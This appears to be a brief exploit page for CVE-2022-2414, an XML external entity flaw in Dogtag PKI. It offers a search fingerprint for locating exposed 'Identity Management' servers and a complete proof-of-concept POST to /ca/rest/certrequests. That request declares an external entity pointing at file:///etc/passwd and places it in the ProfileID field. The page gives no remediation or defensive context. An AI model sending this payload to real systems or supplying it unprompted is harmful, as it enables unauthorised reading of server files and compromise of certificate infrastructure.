Dogtag Pki Xml Entity Injection Vulnerability Cve 2022 2414

Dogtag PKI XML entity injection vulnerability CVE-2022-2414

Vulnerability Description

Dogtag PKI’s XML parser has a security vulnerability that can cause XML external entity (XXE) attacks when accessing an external entity while analyzing an XML document.

Vulnerability Impact

Dogtag PKI

Network surveying and mapping

title=”Identity Management”

Vulnerability reappears

Login page

Verify POC

POST /ca/rest/certrequests
Content-Type: application/xml

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>